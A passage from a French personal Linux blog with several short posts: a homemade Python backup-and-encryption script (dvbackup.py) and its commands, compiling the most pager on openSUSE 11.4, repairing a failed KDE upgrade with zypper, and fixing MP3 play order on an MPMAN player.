    A titre d'annexe vous trouverez mon fichier samhainrc que j'utilise sur ma distribution GNU/Linux openSUSE.

    Sur ce, bonne sécurisation à tous !

    Site officiel du projet Samhain

    dvbackup : Archivez vos données en ligne de commande sous Linux

    , , , ...

    J'ai fait le tour des logiciels de sauvegarde sous Linux, j'ai croisé quelques solutions intéressantes comme Areca Backup ou Back In Time mais j'ai surtout découvert qu'aucun logiciel existant ne correspondait à mes besoins en terme de système de sauvegarde.

    J'avais besoin d'un logiciel très simple, léger, permettant de créer des backups quand je le souhaite, loin des grosses solutions de sauvegarde incrémentale ou différentielle.

    Je voulais donc un simple logiciel d'archivage mais je ne voulais pas avoir à aller rechercher les fichiers à archiver à chaque création de sauvegarde, surtout si c'est les même fichiers : Je voulais piocher au fur et à mesure les fichiers qui m'intéressent quand je le souhaite et qu'ils soient mémorisés pour la prochaine sauvegarde idea

    Je voulais un système fonctionnant en ligne de commande pour ne pas avoir à cliquer dans une GUI et naviguer dans l'arborescence pour ajouter et retirer des fichiers zzz

    Je voulais un système de gestion des fichiers proche de la ligne de commande de svn (commandes add, rm etc) mais avec une base de données centralisée (pas de fichiers cachés style .svn).

    C'est comme ça que je me suis lancé dans la création du script Python dvbackup.py.

    Le logiciel fonctionne grace à une base de données au format SQLite3 qui est placée dans ~/.config/dvbackup.rc sous Linux et Application Data\dvbackup.rc sous Windows.
    Cette base de données est générée dès le premier lancement du programme et y conservera les fichiers que vous souhaitez sauvegarder avec leurs caractéristiques : date de dernière modification, taille du fichier et somme de contrôle md5 (cette dernière caractéristique n'est pas exploitée pour le moment mais tout de même stockée).

    Pour indiquer que l'on souhaite sauvegarder un fichier, c'est très simple avec la commande add :
    dvbackup.py add ~/.vimrc

    Si on souhaite ajouter le contenu d'un répertoire de manière récursive, on fait de la même façon :
    dvbackup.py add .gnupg/


    On obtient la liste des fichiers à sauvegarder avec la commande list :
    dvbackup.py list

    /home/devloop/.vimrc
    /home/devloop/.gnupg/pubring.gpg~
    /home/devloop/.gnupg/secring.gpg
    /home/devloop/.gnupg/gpg-agent.conf
    /home/devloop/.gnupg/pubring.gpg
    /home/devloop/.gnupg/gpgsm.conf
    /home/devloop/.gnupg/agent.pid
    /home/devloop/.gnupg/scdaemon.conf
    /home/devloop/.gnupg/dirmngr.conf
    /home/devloop/.gnupg/gpg.conf
    /home/devloop/.gnupg/random_seed
    /home/devloop/.gnupg/trustdb.gpg
    /home/devloop/.gnupg/pubring.kbx
    /home/devloop/.gnupg/agent.info


    Pour retirer un fichier de la liste on utilise la commande del. Le chemin des fichiers pour chaque commande peut être aussi bien relatif que absolu. Ainsi si on est dans le dossier personnel il suffira de taper
    dvbackup.py del .gnupg/agent.info


    La commande check permet de lister les fichiers qui ont été modifiés depuis la dernière fois qu'ils ont été ajoutés à la base de données. dvbackup peut donc aussi être utilisé comme un logiciel de vérification d'intégrité ninja
    Il faut toutefois tenir compte du fait que dvbackup ne gère que les fichiers et pas les répertoires. Il ne sera pas en mesure de voir si un fichier a été rajouté dans un répertoire. En revanche il signalera si un fichier a été supprimé.

    La commande update met à jour les caractéristiques des fichiers (date, taille, hash md5). Là encore si un fichier est manquant un message est retourné.

    Une fois que l'on est satisfait de sa base des fichiers à sauvegarder, on peut lancer l'archivage. Plusieurs commandes existent : tar, tarbz, targz et zip qui permettent de créer respectivement des archives en format .tar, .tar.bz2, .tar.gz et .zip. Il faut spécifier le nom du fichier de sortie. Par exemple :
    dvbackup.py tarbz backup.tar.bz2


    dvbackup offre des fonctionnalités supplémentaires comme le chiffrement/déchiffrement de fichiers en AES.
    On utilisera la commande encrypt avec deux arguments : le nom du fichier à chiffrer suivi du nom de fichier qui sera généré. La commande decrypt fonctionne de la même façon. Exemple :
    dvbackup.py encrypt backup.tar.bz2 backuptbz.enc

    Un mot de passe vous sera demandé pour le chiffrement. Il sera hashé en SHA236 et le résultat utilisé pour le chiffrement AES du fichier.

    La commande ip permet de vous donner votre adresse IP externe, telle que vous êtes vu depuis Internet.

    La commande clear vide votre base de données des fichiers (les fichiers eux ne sont pas touchés). C'est une commande SQL DROP qui est soumise.

    Pour terminer la commande help vous affiche l'ensemble des commandes disponibles que l'on a vu précédemment.

    dvbackup utilise des codes de retour spécifique : 0 en cas de succès, 1 en cas de problème détecté (fichier manquant ou modifié) et 2 en cas d'erreur de l'utilisateur (comprendre mauvaise utilisation du logiciel et ses commandes). C'est pratique pour appeler le logiciel depuis un script.
    L'affichage généré est très succinct et peut donc être réutilisé facilement par d'autres scripts (redirection pipe).

    On peut imaginer une tache cron qui fait un check des fichiers, enregistre le résultat dans un journal, effectue un update, ajoute/supprime quelques fichiers de la base, créé une archive avec targz, la chiffre avec AES (encrypt) puis envoie le tout sur un serveur avec un autre logiciel.

    Le script dvbackup.py (sous licence GNU GPL) est téléchargeable ici.

    Installer most sous openSUSE 11.4 64bits

    , , ,

    Sous Linux, mon pager préféré est most et je m'empresse généralement de l'installer sur mon système.
    Seulement il n'est pas proposé dans les packages de la 11.4.

    Pour l'installer soit même il y a quelques petites étapes à suivre :
    1. Installer la librairies slang (zypper install slang-devel)
    2. Télécharger most (dernière version : 5.0.0) et le décompresser
    3. Lancer un ./configure --with-slanglib=/usr/lib64 (une fois dans le dossier décompressé)
    4. Lancer la compilation (make)
    5. Installer (make install) en root


    Et c'est bon smile
    Il me reste toutefois à tester vimpager penguin

    Mauvaise upgrade KDE sous openSUSE

    , , , ...

    Ce matin j'ai lancé une upgrade KDE et j'ai eu la surprise à mon retour que des applications basées sur KDE ne se lançaient plus.
    En appelant Opera depuis le terminal on voyait tout de suite qu'il s'agissait d'un problème de dépendances (symbol lookup error).

    Ca ne m'a pas choqué plus que ça puisque je savais que des changements avaient eu lieu récemment dans les répos, notemment la création d'un répo KDE 4.5 stable. Celà dis je pensais continuer avec les dépôts Factory puisque j'avais fait le pas pour obtenir KDE 4.5 plus tôt.

    Après avoir vu cette erreur, ma première réaction a été de redémarrer X (/etc/init.d/xdm restart) mais Kwin était aussi touché et l'interface ne pouvait pas se lancer.

    Dans une console je suis passé root, j'ai modifié le fichier /etc/sysconfig/displaymanager avec Vim et passé la variable DISPLAYMANAGER à "lxdm".
    Nouveau redémarrage de X et boot sous LXDE en attendant (c'est plus sympa d'aller trouver les adresses des répos avec Opera qu'avec un Links ou un w3m).

    J'ouvre un terminal, je liste les dépots existants (zypper lr) et remarque que j'avais encore des dépôts KDE 4.4 présents whistle )
    J'efface tout ça :
    zypper rr "KDE_4.5_Extra_(factory)"
    zypper rr "KDE_4.5_Core_(Factory)"
    zypper rr "KDE_4.4_Stable"
    zypper rr "KDE_4.4_Extra"

    puis je rajoute les bons dépôts
    zypper ar http://download.opensuse.org/repositories/KDE:/Release:/45/openSUSE_11.3/ "KDE 4.5"
    zypper ar http://download.opensuse.org/repositories/KDE:/Extra/openSUSE_11.3_KDE_Release_45/ "KDE 4.5 Extra"

    Comme zypper update n'a pas l'air de tilter (au final on downgrade un petit peu), on force l'utilisateur du dépôt rajouté
    zypper dup --from "KDE 4.5"

    Après ça, YaST refonctionne et on peut paufiner si besoin.
    Plus qu'à éditer une nouvelle fois le /etc/sysconfig/displaymanager et passer DISPLAYMANAGER à "kdm".
    Redémarrage de X et connexion sur un KDE qui fonctionne up
    Zypper ça cartonne bigsmile

    Réorganiser l'ordre de lecture sur un baladeur mp3 MPMAN

    , , , ...

    Les MPman sont une gamme de baladeurs MP3 plutôt simple au look minimaliste mais efficace et pas très cher.
    Je dispose d'un modèle MPF402 et j'ai toujours été contrarié par l'ordre de lecture des mp3 dans un dossier qui ne respecte ni les tags ID3 ni le classement alphabétique des fichiers.

    Ma dernière supposition était que l'ordre utilisé par ces lecteurs se basait sur la date de dernière modification des fichiers. J'ai écrit un script Python qui remodifiait cette date en fonction du classement alphabétique mais après essai il s'est avéré que ces baladeurs se basent sur un autre paramêtre, à savoir la date de création du fichier (date à laquelle le fichier est rajouté dans le balladeur).

    Et là ça se complique puisque l'on ne peut pas modifier cette date facilement. Il ne suffit pas par exemple de renommer un fichier pour le faire apparaître comme nouveau.
    Une solution est de retirer les fichiers et de les remettre cette fois dans le bon ordre, les uns après les autres. Opération fastidieuse sad

    Finalement après recherche j'ai trouvé cette page qui rescense quelques logiciels agissant directement sur le système de fichier FAT32 et capables de modifier la date de création des fichiers.

    Comme j'étais sous Windows j'ai eu recours à FAT Sorter qui s'est montré efficace quoi qu'un peu lent. Il a aussi des difficultées pour les dossiers avec un nombre relativement important de fichiers (ex: 70) qui oblige à relancer le logiciel une seconde fois pour reclasser ce qu'il a laissé de côté.
    Dans tous les cas j'ai maintenant des titres qui sont dans le bon ordre sur mon baladeur et je suis satisfait smile

    Je pense que l'info pourra intéresser des personnes dans le même cas que moi surtout que beaucoup de baladeurs MP3 semblent manquer de fonctionnalité d'organisation.
    La liste indique aussi un logiciel FAT Sort sous Linux que je n'ai pas encore eu l'occasion d'essayer.